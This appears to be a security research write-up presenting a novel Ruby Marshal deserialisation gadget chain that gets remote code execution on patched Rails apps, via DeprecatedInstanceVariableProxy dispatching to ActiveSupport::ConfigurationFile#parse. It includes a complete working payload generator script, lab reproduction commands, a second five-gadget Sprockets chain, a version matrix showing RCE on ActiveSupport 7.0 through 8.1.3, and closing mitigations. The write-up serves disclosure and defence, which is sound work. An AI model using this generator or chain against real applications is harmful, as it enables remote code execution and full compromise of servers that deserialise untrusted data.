Another Ruby Marshal Chain:RCE in Rails
A novel deserialisation gadget chain in Ruby on Rails, built from two native ActiveSupport gadgets that chain together to run code via
Marshal.loadon a patched framework, making Rails itself instantiate a fresh, legitimate ERB, without ever touching a deserialised one.
Context
In April 2026, TristanInSec reported CVE-2026-41316: the canonical Ruby Marshal RCE chain on Rails. It routed DeprecatedInstanceVariableProxy (DIVP) into ERB#def_module on a deserialised ERB, bypassing the original @_init guard, which only protected ERB#result and ERB#run.
The official patch extended the guard to def_method. Since def_module and def_class just delegate to def_method, one guard covers all three:
def def_method(mod, methodname, fname='(ERB)')
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
...
end
Note the sentinel isn’t a boolean: initialize sets @_init = self.class.singleton_class, and the guard requires @_init.equal?(...) — which defeats even forgery, since setting @_init = true in the payload won’t satisfy the comparison. And because Marshal.load rebuilds the object without calling initialize, @_init stays nil, the guard fires and the chain dies. That’s why the most-used Marshal RCE gadget on Rails is now closed on any patched environment.
Technical deep-dive. An end-to-end walk-through of the chain, covering Ruby fundamentals, the two gadgets and the line-by-line PoC, lives at
docs/gadget-explained.en.pdfin the repo.
The insight
The patch only protects ERB that came in through Marshal. If the chain can create a fresh ERB.new at runtime (with @_init properly set by initialize), the guard never fires.
Who instantiates ERB.new from an instance variable, in a method callable with no arguments? ActiveSupport::ConfigurationFile, the class Rails uses to read database.yml and friends:
def parse(context: nil, **options)
source = @content.include?("<%") ? render(context) : @content
# ... YAML.load(source) ...
end
def render(context)
erb = ERB.new(@content).tap { |e| e.filename = @content_path } # fresh ERB → @_init OK
context ? erb.result(context) : erb.result # eval
end
rails/rails · configuration_file.rb
@content is an ordinary instance variable that we control. If it contains <%, parse calls render, which does ERB.new(@content).result on a fresh ERB. That’s where the patch has nothing to do: the ERB that runs the code is built at runtime, with a valid @_init. There’s never a deserialised ERB involved.
ConfigurationFile is the direct sink I used, but hardly the only one: any argument-less method that does ERB.new(@ivar).result over a controllable ivar is an equivalent sink. Others like it may exist in Rails or in ecosystem gems without being documented, and each would open a new chain off the same trigger.
The chain
Marshal.load rebuilds objects but doesn’t call methods on them on its own. The missing piece is something that invokes parse as a side effect of deserialisation. That’s the role of ActiveSupport’s DeprecatedInstanceVariableProxy (DIVP), a deprecation proxy that inherits from DeprecationProxy:
instance_methods.each { |m| undef_method(m) unless /^__|^object_id$/.match?(m) }
def method_missing(called, *args, &block)
warn(...)
target.__send__(called, *args, &block)
end
def target
@instance.__send__(@method)
end
Two gears. undef_method strips every normal method off the proxy, including .hash, which every object has. So any call on it falls into method_missing, which calls target, which in turn does @instance.__send__(@method). Forge @instance and @method, and any touch on the proxy becomes a controlled dispatch:
proxy.hash → method_missing(:hash) → target → @instance.__send__(@method)
= ConfigurationFile.__send__(:parse)
All that’s missing is the “any touch on the proxy”. The link is a behaviour of Marshal.load itself: rebuilding a Hash, it calls .hash on each key to pick the bucket.
class Spy
def hash
puts " .hash called!"
super
end
end
Marshal.load(Marshal.dump({ Spy.new => 1 })) # prints: .hash called!
That’s the trick: putting the DIVP as a Hash key in the payload makes load call .hash on it during deserialisation, and “loading data” becomes “calling a method”. With @instance = ConfigurationFile (forged, malicious @content) and @method = :parse, the whole chain fires inside Marshal.load:
Marshal.load(Hash{ DIVP => "x" })
1. Hash inserts the key → calls DIVP.hash (undef'd)
2. .hash → method_missing → target → @instance.__send__(@method)
where @instance = ActiveSupport::ConfigurationFile, @method = :parse
3. parse → render(nil) (@content contains "<%")
4. ERB.new(@content).result → eval → system("id") → RCE
Two gadgets, one type confusion: the DIVP passes for a hashable object, but any touch on it becomes a dispatch to another method. No Sprockets, no Rack, no intermediate gadget, just ActiveSupport loaded, present in every Rails app.
Generating the payload
#!/usr/bin/env ruby
require 'base64'
require 'active_support'
require 'active_support/configuration_file'
require 'active_support/deprecation'
cmd = ARGV[0] || 'id'
cf = ActiveSupport::ConfigurationFile.allocate
cf.instance_variable_set(:@content, "<%= system(#{cmd.inspect}) %>")
cf.instance_variable_set(:@content_path, 'x')
# Neutralise DIVP during generation, or the chain fires here
klass = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
klass.define_method(:hash) { 12345 }
saved_mm = klass.instance_method(:method_missing)
klass.define_method(:method_missing) { |*_| nil }
dep = ActiveSupport::Deprecation.new
dep.instance_variable_set(:@silenced, true)
# Direct bind because instance_variable_set was undef'd on DIVP
ivset = Object.instance_method(:instance_variable_set)
proxy = klass.allocate
ivset.bind(proxy).call(:@instance, cf)
ivset.bind(proxy).call(:@method, :parse)
ivset.bind(proxy).call(:@var, :@x)
ivset.bind(proxy).call(:@deprecator, dep)
# Dump the proxy alone + Hash wrapper assembled by hand: a direct Hash dump
# would call .hash on the proxy and fire the chain in the generator
proxy_dump = Marshal.dump(proxy)
proxy_inner = proxy_dump[2..]
payload = "\x04\x08{\x06" + proxy_inner + "I\"\x06x\x06:\x06ET"
klass.define_method(:method_missing, saved_mm)
klass.remove_method(:hash) rescue nil
puts Base64.strict_encode64(payload)
The only generation caveat: since DIVP undef’d its own instance_variable_set, calling it on the proxy falls into method_missing. Object.instance_method(:instance_variable_set).bind(proxy) reaches the real implementation. And we dump the proxy on its own, assembling the Hash wrapper by hand, because a Marshal.dump({proxy => "x"}) would call .hash on the proxy and fire the chain on the very machine generating the payload.
Reproducing
The reproduction repo ships a docker-compose.yml, Dockerfile and pinned Gemfile:
git clone https://github.com/S3r4ph1el/another-ruby-marshal-chain
cd another-ruby-marshal-chain
docker compose up -d --build
B64=$(docker compose exec lab bundle exec ruby /exploit/gen_payload.rb 'id')
curl -s -X POST --data-urlencode "p=$B64" http://127.0.0.1:3000/marshal
Alternative vector
ConfigurationFile is always present in Rails, but the technique doesn’t depend on it. When there’s no zero-arg method that evaluates an ivar, you can build the bridge: turn DIVP’s zero-arg dispatch into a call(Hash) to Sprockets::ERBProcessor (which also does a fresh ERB.new(input[:data])). The path:
DIVP → Rack::Response#buffered_body! (iterates @body, does @writer.call(part.to_s))
→ Process::Tms#each (enumerable Struct; yields the crafted part)
→ Gem::Version#to_s (returns @version verbatim — smuggles a Hash through a .to_s)
→ Sprockets::ERBProcessor#call (fresh ERB.new → eval)
Five gadgets instead of two, and it needs Sprockets loaded, but it’s instructive as a general bridging technique. Fine detail: Gem::Version even defends itself, with a marshal_load that re-runs initialize and would re-validate @version. The bridge only slips past because it builds the object with Marshal’s raw object format (o), which skips marshal_load. The full generator is in the lab at exploit/gen_payload_sprockets.rb.
Compatibility matrix
Each ActiveSupport release was installed in a clean container and the chain fired end-to-end, from Ruby 3.2 to Ruby 4.0.5 (the latest). The 8.1.3 row ran on the fully up-to-date stack: Ruby 4.0.5 + ActiveSupport 8.1.3 + erb 6.0.4, with the ERB already patched for CVE-2026-41316. The chain fires anyway, because it never deserialises an ERB.
| ActiveSupport | 2-gadget | 5-gadget |
|---|---|---|
| 7.0.8.7 | RCE | RCE |
| 7.1.6 | RCE | RCE |
| 7.2.2.1 | RCE | RCE |
| 8.0.2 | RCE | RCE |
| 8.1.3 | RCE | RCE |
Gem versions aren’t the limiter, since the code paths are identical across the range. What sets the reach is the sink:
- 2-gadget (ConfigurationFile): needs ActiveSupport loaded (present in every Rails app) and ERB loaded. On ActiveSupport 8.0+
renderdoesrequire "erb"itself, so ActiveSupport alone suffices; on ActiveSupport 7.0–7.2 ERB must already be loaded, always the case in a real Rails app (ActionView pulls ERB in). Works even on Rails 8 with Propshaft, because the asset pipeline is irrelevant here. - 5-gadget (Sprockets): needs Sprockets loaded and, on Ruby 4.0+, OpenStruct (
ostruct) too, which left the default gems. Rails 8 switched the default to Propshaft, so on a new app the alternative vector doesn’t apply, but the 2-gadget one still does.
Gadget or vulnerability?
Two terms that describe different things. A gadget is legitimate code reused as a stepping stone: ConfigurationFile#parse, the DeprecationProxy and ERB all do exactly what they promise. The vulnerability is the flaw that opens the door, and it sits at a single point, the application calling Marshal.load on attacker bytes, the CWE-502 anti-pattern. It lives in the app, not in Rails, and exists regardless of which chain weaponizes it.
CVE-2026-41316 was a different beast: there the flaw was in ERB itself (a security promise with a hole, which the patch closed). Here no library breaks a promise, so the durable fix is to not deserialise untrusted data, not to “patch” a gadget.
What’s new here
The public angle post-CVE focused on chaining gadgets into a Sprockets::ERBProcessor (httpvoid, 2021), an ~8-class bridge that depends on Sprockets. The shortcut here is realising that ActiveSupport::ConfigurationFile#parse already is a fresh-ERB sink callable with zero arguments from an ivar. That collapses the chain:
| Public chain (httpvoid → Sprockets) | This (ConfigurationFile) | |
|---|---|---|
| Gadgets | ~8 | 2 |
| Dependency | Sprockets loaded | ActiveSupport only (always present) |
| Rails 8 + Propshaft | doesn’t apply | applies |
| Smuggler / bridge | Set + Gem::Version + buffered_body! | none |
The 5-gadget vector stays useful as a general bridging technique (and lives in the lab), but the direct path is shorter, dependency-free, and covers more targets.
httpvoid (2021) is still the benchmark, the only public chain that reaches a runtime ERB sink; the more recent ones (nastystereo, 2024; CVE-2026-41316, 2026) take other routes.
To be precise about what’s new: ConfigurationFile is not an unknown class to gadget hunters. elttam (Alex Brown, 2025) already listed it, but as a file-read (LFI) candidate via the new(path) constructor (ConfigurationFile.new('/etc/passwd').to_json), and rejected it as weak. That’s a different capability and a different method path. What no public source records is #parse → render → ERB.new(@content).result as a fresh-ERB RCE sink, reached zero-arg from an attacker-set @content, dodging the @_init guard. And the dedicated gadget-hunting survey (behradtaher) reaches ERB and calls it a dead end, except that dead end only holds for a deserialised ERB, and the chain comes in precisely through the fresh one.
Mitigation
- Never call
Marshal.loadon user-controlled data. Move to JSON/MessagePack/CBOR with strict schemas. - If
Marshal.loadis unavoidable (e.g. internal encrypted-cookie deserialization), verify a signature before loading, withRails.application.message_verifierorActiveSupport::MessageEncryptor. - Class allowlist via
Marshal.load(blob, permitted_classes: [...])(Ruby 3.x+), which only helps if you know exactly what to expect and are willing to reject everything else. - Audit
serialize :col, MarshalSerializercolumns in ActiveRecord models, since any persisted column that user input can influence is a vector.